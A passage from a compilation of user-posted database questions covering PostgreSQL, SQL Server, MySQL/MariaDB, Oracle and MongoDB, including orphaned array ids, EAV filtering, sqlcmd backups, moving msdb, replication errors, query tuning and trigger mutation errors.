And another table called books, who got a "users" columns of array of integers relates to users ids who own the books (type: ARRAY[]::integer[])

books:

name     num_pages     users
mybook1  130           {4,2,1,44}
mybook2  140           {1,2}
mybook3  145           {5,7,8,10}

unfortunately, some of the users has been deleted, and now I have to remove their user id reference from the table.

My question is - Which query should I run in order to remove from the books table the user_ids who are not exists anymore in "users" table? In this case I would like to remove any user id who is not 1/2/3/4 from the users column

for example on "books" table, mybook1 user id 44 does not exist anymore, or mybook3 ids 5,7,8,10 does not exist in users table

(I've created a trigger to handle it from now on when removing users
but how can I remove the current "orphan users" who is not reflected in the users table anymore)

note: I have no foreign keys or something like that in the books table

Thanks a lot


texts: Eav model sql select only products with all 3 values?

texts:
I have an EAV (Entity Attribute Value) based table for smartphones like the following:

What if the user wants to see all phones with
- red color
- steel material

The query is like:

WHERE (attribute_id = color AND value = red)
OR
(attribute_id = material AND value = steel)

In this case the search result would also select product 2 because it has red color but I don't want this, because its material is plastic instead of steel.

You can say group results by product id column having count more than 2 rows per product.

But because it's EAV flexibility, what if the material is a new option for a product, and added to a product after a 1 million values/rows later than its early added values for this product?

I mean not all specs are one after another right? Isn't that going to slow down the search?

So I need to get products only but only with red and steel (only one option like 2. Product in the table above cant be accepted) and it doesn't matter if those options have millions rows between them it still should find all values for given values of a product.

Is there a solution?


texts: Database backup over sqlcmd call from batch file

texts:
I'm trying to do a database backup by sqlcmd called from batch file but I can't achieve that. I'm getting error "Sqlcmd: Error: Connection failure. SQL native Client is not installed correctly. To correct this, run SQL Server Setup". I was trying this : https://stackoverflow.com/questions/5083189/sqlcmd-wont-run-is-this-a-config-issue
but every attempt of changing PATH environmental variable gives me another error :"command sqlcmd is not recognized as an internal or external command, operable program or batch file".

Can someone prompt me what I'm doing wrong ? Do I need to modify my PATH variable in some particular way ?

Batch file content :

  sqlcmd.exe -S .\EXPRESS -E -Q "USE MyDatabase GO EXEC
  sp_BackupDB"

Stored proedure which makes backup - works fine from Management Studio

USE master
go

BEGIN TRY
    SET NOCOUNT ON;

    DECLARE
        @path VARCHAR(100)

    SELECT @path = 'c:\MyDatabase.bak'
    --SELECT @path

    -- BACKUP --
    BACKUP DATABASE MyDatabase TO DISK = @path WITH INIT;
END TRY

BEGIN CATCH
    PRINT 'error';
END CATCH
GO

PATH content :

  %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;c:\Program
  Files (x86)\Microsoft SQL Server\100\Tools\Binn\;c:\Program
  Files\Microsoft SQL Server\100\Tools\Binn\;c:\Program Files\Microsoft
  SQL Server\100\DTS\Binn\;C:\Program Files\Microsoft\Web Platform
  Installer\;C:\Program Files\Microsoft SQL
  Server\120\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client
  SDK\ODBC\110\Tools\Binn\;C:\Program Files (x86)\Microsoft SQL
  Server\120\Tools\Binn\;C:\Program Files\Microsoft SQL
  Server\120\DTS\Binn\;C:\Program Files (x86)\Microsoft SQL
  Server\120\Tools\Binn\ManagementStudio\;C:\Program Files
  (x86)\Microsoft SQL Server\120\DTS\Binn\;C:\Program Files
  (x86)\Windows Kits\8.1\Windows Performance Toolkit\;C:\Program
  Files\Microsoft DNX\Dnvm\;C:\Pro-face\Pro-Server EX\


texts: User can't right-click SQL Azure database in SSMS

texts:
I've done the following on my SQL Azure instance:

1) Add a new login
2) Create a new user on my database from that login
3) Granted db_datareader to that user on that database

I can use that user to connect through SQL Server Management Studio, and I can expand the "Databases" node in the Object Explorer, but once I try to right-click the database to select "New query", the whole UI freezes for about 30 seconds.

I can connect and do the same thing with the db_owner, and it works without a problem.

Is there some other role/right I have to give to the user?


texts: Select a set of keywords from table1 and search for strings containing these keywords in table2

texts:
I have two tables: t1 and t2. There are three steps:

In t1 select a set_of_strings with id = 1 ("1a" and"3c").
From t1 select strings that correspond to OPTIONID ='A' and that contain substrings from the set_of_strings.

t1

ID  NAME
1   "1a"
2   "2b"
1   "3c"

t2

OPTIONID    TXT
  A     "7h 9t"
  B     "1a 8n"
  A     "2b 4r"
  A     "3c 6u"

Queries

SELECT
    NAME
FROM t1
WHERE ID = 1; -- 1a, 3c

SELECT
    TXT
FROM t2
WHERE OPTIONID = 'A' AND (TXT LIKE '%1a%' OR TXT LIKE '%3c%') --"3c 6u"

Question

How to automate the TXT LIKE '%1a%' OR TXT LIKE '%3c%' part?

LIKE'%1a%' is safe because of all entries have the same format, i.e. there is no 1a2 in TXT column.


texts: PG4Admin "local variable 'debugger_version' "?

texts:
My Postgres version is 9.6, running on Windows 7 Professional.

I have just upgraded to pgAdmin 4.2.3 since I was not able to get the debugger to work at all with my previous pgAdmin. I installed using the Windows binary.

I have set postgresql.conf  for shared_preload_libraries = '$libdir/plugin_debugger.dll', restarted Postgres, added extension pldbgapi, and made sure I had admin permissions.

I am now able to select either 'debug' or 'set breakpoint', but at 'set breakpoint' or when I click 'debug' after entering input parameters, I get:

  "local variable 'debugger_version' referenced before assignment".

Did I miss something in installation or configuration? Note that I did install from a binary, not by compiling the source. (I posted this question on the pgadmin support mailing list a couple of weeks back but have gotten no response.)


texts: sql publication / subscription 2008r2=>2012 Could not locate text information

texts:
I have replitation setup from sql 2008r2 publication to 2012 subscriber
it was working fine and after 4h i faced error:
Error messages:
The process could not execute 'sp_replcmds' on 'PB01\PROD'. (Source: MSSQL_REPL,
Error number: MSSQL_REPL20011)
Get help: http://help/MSSQL_REPL20011
Could not locate text information records for the column "Komentarz", ID 5 during
command construction. (Source: MSSQLServer, Error number: 18773)
Get help: http://help/18773

this column is text datatype...
I found similar problem here
Replication Error when adding small table as new article
but i was not adding new table
and potential solution is kb 2655789
but this kb does not exists anymore and as far as i googled it is for 2012 only.
Is there solution for 2008r2 also ?
Or perhaps can it be this subscriber 2012 issue? we will try sp4 on this 2012 that contain this KB but i think that this is publication - if subscription would be the problem then this message would apear in distributor to subscriber logs.


texts: Consecutive Rows to fetch from SQL server table


texts:
When I am trying to move msdb database from it's default location (C:\Program Files\Microsoft SQL Server\MSSQL10.SQLEXPRESS\MSSQL\DATA) to another drive(E:). After moving the database I am getting error as shown below.(the error I am getting while expanding database node in SSMS and now I am not able to access any database.)

  Failed to retrieve data for this request.
  (Microsoft.SqlServer.Management.Sdk.Sfc)

  For help, click:
  http://go.microsoft.com/fwlink?ProdName=Microsoft+SQL+Server&LinkId=20476

  ------------------------------ ADDITIONAL INFORMATION:

  An exception occurred while executing a Transact-SQL statement or
  batch. (Microsoft.SqlServer.ConnectionInfo)

  Database 'msdb' cannot be opened due to inaccessible files or
  insufficient memory or disk space.  See the SQL Server errorlog for
  details. (Microsoft SQL Server, Error: 945)

  For help, click:
  http://go.microsoft.com/fwlink?ProdName=Microsoft+SQL+Server&ProdVer=10.00.2531&EvtSrc=MSSQLServer&EvtID=945&LinkId=20476

The procedure I followed to shift msdb database is as follows:

For each file to be moved, run the following statement.

ALTER DATABASE msdb
 MODIFY FILE ( NAME = MSDBData , FILENAME = 'E:\MSDBData.mdf' )

ALTER DATABASE msdb
 MODIFY FILE ( NAME = MSDBLog , FILENAME = 'E:\MSDBLog.ldf' )

Stop the instance of SQL Server to perform maintenance.
Move the file or files to the new location.
Restart the instance of SQL Server or the server.
Also i did confirm the path by running following query

SELECT name, physical_name AS CurrentLocation, state_desc
     FROM sys.master_files
     WHERE database_id = DB_ID(N'msdb');

And output was showing current location of both MSDBdata and MSDBLog as E:\

This error happened while I did it for testing server. I want to do it for a production server. So please help me on this error. How exactly to move msdb database?


texts: join two tables, include one row from the parent table for each primary key

texts:
I've got a simple join over a primary and foreign key... but I need to include a row from the parent table in the results for each primary key as a sort of header row for the children. For instance, I have two tables,

parents
ID | Name
0  | FOO
1  | BAR
2  | ASD

children
ID | Name | ParentID
10 | baz  | 0
11 | zap  | 0
12 | zam  | 1
13 | maz  | 1

I'd like to make a view that returns

ParentID | ChildID | Name | isChild
0        |         | FOO  | False
0        | 10      | baz  | True
0        | 11      | zap  | True
1        |         | BAR  | False
1        | 12      | zam  | True
1        | 13      | maz  | True
2        |         | ASD  | False

The data structure doesn't make much sense but it's populating 3rd party software and that's the only format option. Right now I'm hitting the database with an additional query for each parent. I imagine pulling it into one query would be more efficient, I've only got a few hundred parents

Thanks!


texts:
Does Statistics IO (Logical/Physical Reads) include index pages that are not leaf-level?

The following example is lifted directly from this old post from Gail Shaw:

https://sqlinthewild.co.za/index.php/2009/03/05/when-is-a-seek-actually-a-scan/

--Setup
CREATE TABLE TestingSeeks (
    id int identity (1,1) not null,
    SomeStr char(6) default '' -- a filler
)

insert into TestingSeeks (SomeStr)
select top (500000) ''
from sys.columns c1 cross join sys.columns c2

CREATE NONCLUSTERED INDEX idx_Seek ON TestingSeeks (id)

--Example queries
--Query 1
select  id
from    TestingSeeks

--Query 2
select  id
from    TestingSeeks
where   id > 0

--Statistics IO output for Query 1

  (500000 row(s) affected) Table 'TestingSeeks'. Scan count 1, logical
  reads 1120, --All other columns are zero

--Statistics IO output for Query 2

  (500000 row(s) affected) Table 'TestingSeeks'. Scan count 1, logical
  reads 1120, --All other columns are zero

As you can see, the Logical Reads are the same for both queries (the Seek and the Scan) but I thought that the Seek would have more pages to read as it would read the Root page and pages from the intermediate level(s) of the index.

If I run the following query:

--Seek for one row
--Query 3
select  id
from    TestingSeeks
where   id = 400

--Statistics IO output for Query 3

  (1 row(s) affected) Table 'TestingSeeks'. Scan count 1, logical reads
  3, --All other columns are zero

You can see that there are three reads (1. Root page, 2. Intermediate page, 3. Leaf level page), so why did the statistics for [Query 2] above not include two more rows than the Scan (Query 1)?

  SQL Server @@Version:  Microsoft SQL Server 2014 (SP2-GDR) (KB4057120)
  - 12.0.5214.6 (X64)   Jan  9 2018 15:03:12    Copyright (c) Microsoft Corporation     Developer Edition (64-bit) on Windows NT 6.1  (Build
  7601: Service Pack 1)


texts:
I am trying to implement online examination system.

There are two types of question, either fill in the blanks, or multiple choice questions (MCQs).

Right now, I modeled tables as:

questions (
    qid INT AUTO_INCREMENT PRIMARY KEY,
    question TEXT,
    answer VARCHAR(20),
    mcq TINYINT(1)
);

options (
    qid INT,
    options VARCHAR(20)
);

Options will be stored as:

{
    (1,option1),
    (1,option2),
    (1,option3),
    (1,option4)
}

MCQ is a 1-bit flag to flag whether it is MCQ or not, if yes, then it fetches options from options table.

For different courses in any institute, should I maintain  different table for different courses, or add course field in question table itself?
Is it okay to store answer in questions table, or should I maintain a separate answers table ?

answers (
    qid INT,
    course VARCHAR(10),
    answer
);


texts:
What I'm I missing here? I need data greater that ISODate("2015-01-11T00:39:40.121Z")

I know many forums have different answers for the same issue. But non resolved. Need a different point of view on this.

mongoexport -d central --collection alerts —q '{\"updated_at\":{\$\"gte\": new Date(1420936780121) } }' --csv --out alerts_11_12_Jan_20151.csv

ERROR: too many positional options


texts:
I need to performance tune a mysql server and need help.

I have a 16G server dedicated to MySQL with 1 MyISAM table with about 2 million rows that gets a significant amount of traffic. There are about 100 other innodb tables on the same database. The MyISAM table is pretty
much read only and used by user for searches.

The server has a max_connection value of 800, under load test of about 300 concurrent users the query time starts to increase significantly. Without load the queries take about 500ms to run.

The goal is to significantly improve the performance of searches on the MyISAM table.

The size of the tables in MB:

data_size   index_size  total           engine
8991        6920        15911           InnoDB
1110        718         1829            MyISAM

The following are my settings:

connect_timeout 10
innodb_additional_mem_pool_size 24117248
innodb_buffer_pool_size 12G
innodb_commit_concurrency   0
innodb_flush_log_at_trx_commit  1
innodb_log_buffer_size  11534336
innodb_log_file_size    449839104
innodb_open_files   300
innodb_thread_concurrency   8
innodb_thread_sleep_delay   10000
join_buffer_size    131072

key_buffer_size 2147483648
key_cache_age_threshold 300
key_cache_block_size    1024
key_cache_division_limit    100

max_allowed_packet  134217728
max_connections 800
max_delayed_threads 20
max_join_size   18446744073709551615
max_user_connections    0

myisam_max_sort_file_size   107374182400
myisam_mmap_size    18446744073709551615
myisam_sort_buffer_size 70254592

open_files_limit    2048

query_cache_limit   104857600
query_cache_min_res_unit    4096
query_cache_size    419430400
query_cache_type    ON

read_buffer_size    262144

socket  MySQL
sort_buffer_size    2097152

table_type  InnoDB
thread_cache_size   100
thread_handling one-thread-per-connection
thread_stack    262144

tmp_table_size  1073741824


texts: MariaDB handling composite unique indexes that are foreign keys at the same time

texts:
I have a possible issue with how MariaDB (and probably MySQL) handles composite unique indexes that are also foreign keys. Not sure if that is by design and if it is, why does it work like that.

I have a table called action_contact. It has a foreign key action_id to the 'action' table and contact_id to the 'contact' table. Both are unsigned bigint columns. I need these two fields to be unique indexes as well. If I don't add the unique index, both fields are also indexes in the database by default, which is fine. But, once I add the unique composite index (action_id, contact_id) - it’s added in the database, but the normal index for contact_id is still present and the normal index for action_id is removed. The foreign keys are still present, as they should. Is this normal behavior?


texts: In Full recovery mode, when does the buffer/transaction log changes get applied to the database data pages?

texts:
When a change is to be made, the data page is fetched from the database data file into the buffer and changes are made to the buffer page and are also written to the transaction log. Write ahead logging. In Simple recovery mode the changes from the buffer are applied to the database data pages at checkpoint. The checkpoint flushes the records from the transaction log. Hence transaction log backups cannot be taken in this mode. Similarly for full/bulk recovery models when a full backup hasn't yet been taken.

Question: How and when does the changes to the data page get written to the database data file in the full/bulk recovery model once the 1st full backup has been taken?


texts: SQL Server 2008 R2 service pack steps .....on cluster

texts:
I have a sp3 to apply on SQL Server 2008 R2 on windows 2008 R2 cluster with four nodes and 6 instances. Node 4 do not have any resources but is possible owner for all the instances.

Steps I am planing

remove node 4 as possible owner for all SQL related resources
reboot node 4, apply sp3, reboot node 4
put back node 4 as possible owner for all node 1 SQL resources
failover node 1 resources to node 4
repeat step 2 for node 1
repeat step 3 for node 1
failover node 4 resources back to node 1
put back node 4as possible owner for all node 2 SQL resources
repeat step 4 for node 2
repeat steps 5,6,7 for node 2
repeat steps 4,5,6,7 for node

Please verify and confirm or correct my steps.

I guess sp3 + cumulative update for 6 instances per node around 1.5 hrs

Thanks in advance


texts: calculate running balance of debit credit using union all

texts:
i'm making account statement for which i need that account balance before today and with each transaction  row of debit or credit plus and minus from initial opening balance on the basis debit/credit amount rules....
for this i'm using this approach

SELECT '1'AS VoucherNo,''AS DocumentDate,'Opening' AS Description,isnull(SUM(JournalDetials.Debit),0)AS Debit,
    isnull(SUM(JournalDetials.Credit),0)AS Credit,(isnull(SUM(JournalDetials.Debit),0)-isnull(SUM(JournalDetials.Credit),0))[Balance],
    ''as JournalTransationStatus
    FROM JournalDetials INNER JOIN JournalMains ON JournalDetials.JournalMainId = JournalMains.Id
    INNER JOIN GLMainAccount ON JournalDetials.GLMainAccountId=GLMainAccount.Id
    where(JournalDetials.AccountId='001653')AND(JournalDetials.Date<'03/31/2019')

    union all

    select(JournalMains.VoucherNumberPrefix+JournalMains.VoucherNumber)AS VoucherNo,JournalDetials.Date as DocumentDate,
    isnull(JournalDetials.Description,''),isnull(JournalDetials.Debit,0),isnull(JournalDetials.Credit,0),''[Balance],
    ''JournalTransationStatus
    from JournalDetials inner join JournalMains on JournalDetials.JournalMainId = JournalMains.Id
    INNER JOIN GLMainAccount ON JournalDetials.GLMainAccountId = GLMainAccount.Id
where(JournalDetials.AccountId='001653' and JournalDetials.Date BETWEEN '03/31/2019' AND '04/09/2020')

I was trying to apply this solution but couldn't able to run this in SQL 2008 due to this. so now, how to calculate running balance total along with each debit credit value in SQL 2008?


texts:
I want two values, in two different tables, to be used as a total in a third table.

For instance:

Table accommodation and flight
Add value from acc_price with value from flight_price
Add those values up to be used in table reservation subtotal

Things I've tried;

SELECT  F.FLI_PRICE + AC.ACC_PRICEPN
INTO    R.SUBTOTAL
FROM    HOLIDAY_RESERVATION R, FLIGHT F, ACCOMMODATION AC;

UPDATE

I wish to add the code from Leigh into a trigger, I tried the following but got a mutation error

CREATE OR REPLACE TRIGGER HR_SUBTOTAL
AFTER DELETE OR INSERT OR UPDATE ON HOLIDAY_RESERVATION
FOR EACH ROW
BEGIN
UPDATE HOLIDAY_RESERVATION R SET SUBTOTAL =
   NVL((SELECT F.FLI_PRICE FROM FLIGHT F WHERE F.FLI_ID = R.IN_FLIGHT_ID), 0) +
   NVL((SELECT F.FLI_PRICE FROM FLIGHT F WHERE F.FLI_ID = R.OUT_FLIGHT_ID), 0) +
   NVL((SELECT AC.ACC_PRICEPN FROM ACCOMMODATION AC WHERE AC.ACC_ID = R.ACC_ID), 0);
END;
/

ERROR at line 1:
ORA-04091: table LATIN.HOLIDAY_RESERVATION is mutating, trigger/f
ORA-06512: at "LATIN.HR_SUBTOTAL", line 2
ORA-04088: error during execution of trigger 'LATIN.HR_SUBTOTAL'


texts:
I'm fetching the grandparent of all nodes in a tree as follows:

SELECT P.id, P.parent, GP.parent gp_id FROM product_groups P
INNER JOIN product_groups GP ON P.parent = GP.id

There is no entry with id=0 in the table, but some where parent=0, indicating roots of the trees. Those rows are not fetched by this query, as there's no grandparent to join them with. I'd like those rows returned, with 0 (or NULL) for both parent and gp_id.

I was planning to UNION the second table with (0,0), but can't figure out the syntax. How to do this?